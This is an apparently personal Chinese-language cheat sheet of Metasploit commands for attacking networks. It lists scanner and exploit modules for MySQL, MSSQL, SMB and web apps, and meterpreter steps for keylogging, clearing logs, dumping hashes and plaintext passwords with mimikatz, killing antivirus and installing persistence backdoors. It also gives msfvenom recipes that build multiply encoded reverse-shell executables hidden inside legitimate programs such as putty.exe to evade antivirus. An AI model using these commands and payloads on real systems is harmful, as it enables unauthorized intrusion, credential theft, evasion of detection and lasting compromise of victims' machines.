其实MSF大部分都用来用ms17_010,其实MSF还有很多功能,比如用他来打打CMS的exp呀,还有对端口的攻击,生成payload,在此,我也记一个笔记,供大家分享。
1.首先基于MSF的资产收集 网络主机收集: use auxiliary/scanner/discovery/udp_probe use auxiliary/scanner/discovery/udp_sweep use auxiliary/scanner/discovery/arp_sweep use auxiliary/scanner/dns/dns_amp 基于DNS找存活主机,端口为53 use auxiliary/scanner/netbios/nbname 基于nbname找存活主机,端口为137 use auxiliary/scanner/http/title 端口为80 use auxiliary/scanner/portscan/ack use auxiliary/scanner/portscan/tcp 指定网段探寻端口 use auxiliary/scanner/portscan/syn use auxiliary/scanner/portscan/ftpbounce use auxiliary/scanner/portscan/xmas 内网服务收集: 搜寻http服务:use auxiliary/scanner/http/http_version 端口80 搜寻smb服务:use auxiliary/scanner/smb/smb_version 端口445 搜寻ftp服务: use auxiliary/scanner/ftp/ftp_version 端口21 搜寻ssh服务: use auxiliary/scanner/ssh/ssh_version 端口22 搜寻talnet服务: use auxiliary/scanner/telnet/telnet_version 端口23 搜寻mysql服务: use auxiliary/scanner/mysql/mysql_version 端口3306 搜寻db2服务: use auxiliary/scanner/db2/db2_version 端口50000 搜寻rdp服务:use auxiliary/scanner/rdp/rdp_scanner 端口3389 搜寻smtp服务:use auxiliary/scanner/smtp/smtp_version 端口25 2.关于MSF攻击的命令 1.首先关于msf常用的payload windows: windows/meterpreter/reverse_tcp windows/meterpreter/bind_tcp windows/meterpreter/reverse_hop_http windows/meterpreter/reverse_http windows/meterpreter/reverse_http_proxy_pstore windows/meterpreter/reverse_https windows/meterpreter/reverse_https_proxy windows/shell_reverse_tcp windows/shell_bind_tcp windows/x64/meterpreter/reverse_tcp windows/x64/meterpreter/bind_tcp windows/x64/shell_reverse_tcp windows/x64/shell_bind_tcp linux: linux/x86/meterpreter/reverse_tcp linux/x86/meterpreter/bind_tcp linux/x86/shell_bind_tcp linux/x86/shell_reverse_tcp linux/x64/shell/bind_tcp linux/x64/shell/reverse_tcp linux/x64/shell_bind_tcp linux/x64/shell_bind_tcp_random_port linux/x64/shell_reverse_tcp 2.关于mysql use auxiliary/scanner/mysql/mysql_login 用于内网中的批量以及单主机的登录测试(可用作暴力破解)。 use exploit/multi/mysql/mysql_udf_payload 用于root启动的mysql 并root的udf提权. 需设置payload: set payload windows/meterpreter/bind_tcp use exploit/windows/mysql/mysql_mof 提权,与udf类似 use auxiliary/scanner/mssql/mssql_ping 这个也可以用来扫描mssql服务。 use exploit/windows/mysql/scrutinizer_upload_exec 上传文件执行。 use auxiliary/admin/mysql/mysql_sql 执行sql语句 3.关于sqlserver use auxiliary/admin/mssql/mssql_enum 可以看见非常详细的sqlserver信息 use auxiliary/admin/mssql/mssql_enum_sql_logins 枚举sql logins,速度较慢 use auxiliary/admin/mssql/mssql_escalate_dbowner 发现dbowner,当sa无法得知密码的时候,或者需要其他账号提供来支撑下一步的内网渗透 ?????? use auxiliary/admin/mssql/mssql_exec 当没有激活xp_cmdshell,自动激活。并且调用执行cmd命令 权限继承 Sql server。 用法: set CMD cmd.exe /c whoami即可 然后exploit/run use auxiliary/admin/mssql/mssql_sql 如果熟悉Sql server 数据库特性,以及sql语句,使用该模块 use auxiliary/admin/mssql/mssql_sql_file 当需要执行多条sql语句的时候,或者非常复杂。msf本身支持执行sql文件。授权渗透应用 较少,非授权应用较多的模块。 use use auxiliary/scanner/mssql/mssql_login 批量发现内网mssql主机 use exploit/windows/mssql/mssql_payload 非常好的模块之一,在实战中。针对不同时间版本的系统都有着自己独特的方式来上传 payload。 3.关于FTP use auxiliary/scanner/ftp/ftp_login 于内网中的批量以及单主机的登录测试。 use auxiliary/scanner/ftp/anonymous 发现存活的ftp主机,是否存在匿名登录 ps:在该模块下,可以使用nmap来辅佐, db_nmap -sS -T4 -p21 192.168.1.0/24 use auxiliary/fuzzers/ftp/ftp_pre_post ftp本地模糊测试辅助模块 4.关于smb use exploit/windows/smb/smb_login //爆破smb use exploit/windows/smb/smb_scanner //爆破smb use exploit/windows/smb/psexec_psh 跟psexec差不多,抓hash 5.其他 1.use exploit/multi/handler //msf监听模块 2.use exploit/windows/smb/psexec //利用msf启动psexec 3.use exploit/windows/smb/psexec_psh //pass hash 4.use exploit/windows/local/ms15_051_client_copy_image //利用ms15_051 5.use exploit/windows/local/bypassuac //绕过uac,一般绕不过去 6.use post/windows/gather/hashdump //抓hash 7.use post/windows/gather/smart_hashdump //导出hash,须有system权限 8.use exploit/windows/local/always_install_elevated //提权 9.use exploit/windows/fileformat/office_word_hta //利用.rtf文件生成可执行的.hta脚本来托管 10.use exploit/multi/samba/usermap_script //samba的exp 11.use exploit/unix/irc/unreal_ircd_3281_backdoor //IRC服务,端口6697的EXP 12.use exploit/multi/http/playsms_uploadcsv_exec //playsms的RCE的EXP 13.use expliot/unix/webapp/drupal_drupalgeddon2 //drupal的exp 3.关于MSF的端口转发: 1.基于portfwd的端口转发 这个需要跳到meterpreter,首先use exploit/multi/handler 然后在set PAYLOAD windows/meterpreter/reverse_tcp 若靶机的ip为192.168.1.119 需要转发的端口为80,3389。 我们可以session -i查看反弹回来的机器,session -i 具体数字选择进入相应的交互模式 portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389 portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80 portfwd Windows 7 分别访问攻击机33389,30080,既等价访问靶机3389,80 4.关于meterpreter的使用技巧. 1.clearev //清除日志 2.getsystem //提权 3.keyscan_start && keyscan_dump //记录键盘 4.migrate -p 2108 //迁移进程,如果失败,可尝试load stdapi 5.screenhot //截屏 6.download c:\\users\\1.txt /home/Desktop //下载,后面是自己的位置 7.upload /home/Desktop/1.php c:\\users\\desktop//上传,后面是靶机的位置。 8.execute -f notepad.exe //执行命令 9.shell //返回交互式命令行界面 10.load incognito //加载incognito 11.load powershell&&powershell_shell //加载powershell插件&&以Powershell的格式来提示而不是cmd的形式。 12.exploit/windows/local/registry_persistence exploit/windows/local/vss_persistence exploit/windows/local/s4u_persistence //利用给注册表加载shellcode,然后再用ps加载,运行meterpreter 13.load mimikatz //加载mimikatz meterpreter > load mimikatz #加载mimikatz meterpreter > msv #获取hash值 meterpreter > kerberos #获取明文 meterpreter >ssp #获取明文信息 meterpreter > wdigest #获取系统账户信息 meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示 meterpreter >mimikatz_command -f hash:: #获取目标 hash meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f sekurlsa::searchPasswords 14.run post/windows/gather/checkvm //查看是否是虚拟机 run post/windows/gather/smart_hashdump //查看hash run post/windows/gather/enum_ie //查看浏览器的cookie,访问记录 run killav //关杀软进程 run vnc //检测对方桌面 run persistence -U -i 30 -p 2333 攻击机ip //维持权限 U用户登录时启动后门,X是系统启动时。 i是shell交互的时间 5.关于MSF的免杀 1.首先说说关于修改文件的属性 修改文件属性就是修改文件的MACE值,可以帮助掩盖文件在系统上的活动。 1.首先使用Timestomp修改文件属性 timesomp 1.txt -v :查看文件的属性 timesomp 1.txt -b :清空文件所有属性 timesomp 1.txt ./ -r : 归地清空当前目录中的所有文件 timesomp 1.txt -m :修改文件属性 2.关于用msfvenom绕杀软: (1)尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀(mutil/handler里头) msfvenom -p windows/meterpreter/reverse_https 使用reverse_https等payload可以换成anti symantec,然后在mutil/handle设置 1.set EnableStageEncoding true 2.set stageencoder x86/fnstenv_mov 3.set stageencodingfallback false (2)在msfvenom里面加上-e x86/shikata_ga_nai -i 5 加上这2个参数 (3)在msfvenom里面加上-x notepad.exe (4)msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=10.211.55.2 lport=3333 RC4PASSWORD=xinxin -f c (5)msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe //多次编码 (6)先去下载一个压缩软件 wget xxxxx/xxx/xxx/xx.zip 然后用unzip解压 msfvenom -p windows/shell_reverse_tcp LHOST=(ip) LPORT=8080-e x86/shikata_ga_nai -x Desktop/procexp.exe -i 5 -f exe -o /Desktop/backdoor.exe 以解压的exe做为模板 set paylaod windows/shell/reverse_tcp 6.关于msfvenom命令 1.msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi //制作生成包 2.msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f psh-reflection -o xinxin.ps1 //生成ps的paylaod 3.-e cmd/powershell_base64 //在cmd中运行,弹回powershell 4.msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f raw -o x86_shell.war //部署java的war包 7.MSF能加载的其他软件 1.sqlmap load sqlmap 2.incognito load incognito 3.nmap load nmap 8.关于MSF的后渗透 1.msf exploit(multi/handler) > set ExitOnSession false //经常会遇到假session或者刚连接就断开的情况,经常会遇到假session或者刚连接就断开的情况 2.set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0 3.set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭 4.msf exploit(multi/handler) > exploit -j -z //在后台持续监听,-j是后台任务,-z是持续监听 jobs -k是全部结束。handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp 也可以这样 5.MSF的利用
2024-03-27 14:19:04
上一篇:meterpreter使用